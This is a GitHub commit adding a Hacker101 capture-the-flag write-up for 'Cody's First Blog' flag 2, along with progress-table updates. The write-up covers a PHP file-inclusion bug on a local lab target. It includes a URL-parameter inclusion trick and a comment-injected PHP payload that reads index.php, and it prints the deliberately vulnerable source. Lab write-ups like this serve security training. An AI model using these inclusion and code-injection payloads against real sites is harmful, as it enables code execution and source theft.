Skip to content

Commit 709e85f

Browse files
committed
codys blog flag2
1 parent 953d2ad commit 709e85f

File tree

7 files changed

+73
-3
lines changed

7 files changed

+73
-3
lines changed

README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111
| Trivial (1 / flag) | [A little something to get you started][2] | Web | 1 / 1 |
1212
| Easy (2 / flag) | [Micro-CMS v1][3] | Web | 4 / 4 |
1313
| Moderate (3 / flag) | [Micro-CMS v2][5] | Web | 3 / 3 |
14-
| Moderate (5 / flag) | [Cody's First Blog][8] | Web | 2 / 3 |
14+
| Moderate (5 / flag) | [Cody's First Blog][8] | Web | 3 / 3 |
1515
| Easy (4 / flag) | [Postbook][6] | Web | 7 / 7 |
1616
| Easy (3 / flag) | [Petshop Pro][7] | Web | 3 / 3 |
1717
| Moderate (5 / flag) | [TempImage][4] | Web | 2 / 2 |

codys_first_blog/README.md

+6-1
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,9 @@
1212
- Unused code can often lead to information you wouldn't otherwise get
1313
- Simple guessing might help you out
1414

15-
## [Flag2](./flag2) -- Not Found
15+
## [Flag2](./flag2) -- Found
16+
17+
- Read the first blog post carefully
18+
- We talk about this in the Hacker101 File Inclusion Bugs video
19+
- Where can you access your own stored data?
20+
- Include doesn't just work for filenames

codys_first_blog/flag0/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,6 @@ As the blog is PHP, try inject with PHP.
1818

1919
![](./imgs/comment.jpg)
2020

21-
## 0x03 FLAG
21+
## 0x02 FLAG
2222

2323
![](./imgs/flag.jpg)

codys_first_blog/flag2/README.md

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Cody's First Blog - FLAG2
2+
3+
## 0x00 Modifiy URL Parameter
4+
5+
Try modify the url
6+
7+
http://127.0.0.1/xxxxxxxxxx/?page=admin.inc
8+
9+
To
10+
11+
http://127.0.0.1/xxxxxxxxxx/?page=index
12+
13+
The error shows
14+
15+
```
16+
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 16384 bytes) in /app/index.php on line 20
17+
```
18+
19+
So it will append **.php** at the end and execute the file.
20+
21+
## 0x01 SSRF / Inclusion Bug
22+
23+
http://127.0.0.1/xxxxxxxxxx/?page=http://localhost/index
24+
25+
Both the XSS and phpinfo() injection executed properly.
26+
27+
But still no flag.
28+
29+
![](./imgs/ssrf.jpg)
30+
31+
## 0x02 Read File
32+
33+
Add a new comment to read index.php.
34+
35+
``` php
36+
<?php echo readfile("index.php")?>
37+
```
38+
39+
And approve it in admin page.
40+
41+
![](./imgs/approve.jpg)
42+
43+
## 0x03 FLAG
44+
45+
Press **F12** to check the source again.
46+
47+
![](./imgs/flag.jpg)
48+
49+
It print out the whole index.php file.
50+
51+
```php
52+
<?php
53+
// ^FLAG^{FLAG2}$FLAG$
54+
mysql_connect("localhost", "root", "");
55+
mysql_select_db("level4");
56+
$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
57+
if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
58+
$page = "home.inc";
59+
60+
if(isset($_POST['body'])) {
61+
mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
62+
if(strpos($_POST['body'], '<?php') !== false)
63+
echo '<p>^FLAG^{FLAG1}$FLAG$</p>';
64+
?>
65+
```
13.3 KB
Loading

codys_first_blog/flag2/imgs/flag.jpg

20.7 KB
Loading

codys_first_blog/flag2/imgs/ssrf.jpg

55.2 KB
Loading

0 commit comments

Comments
 (0)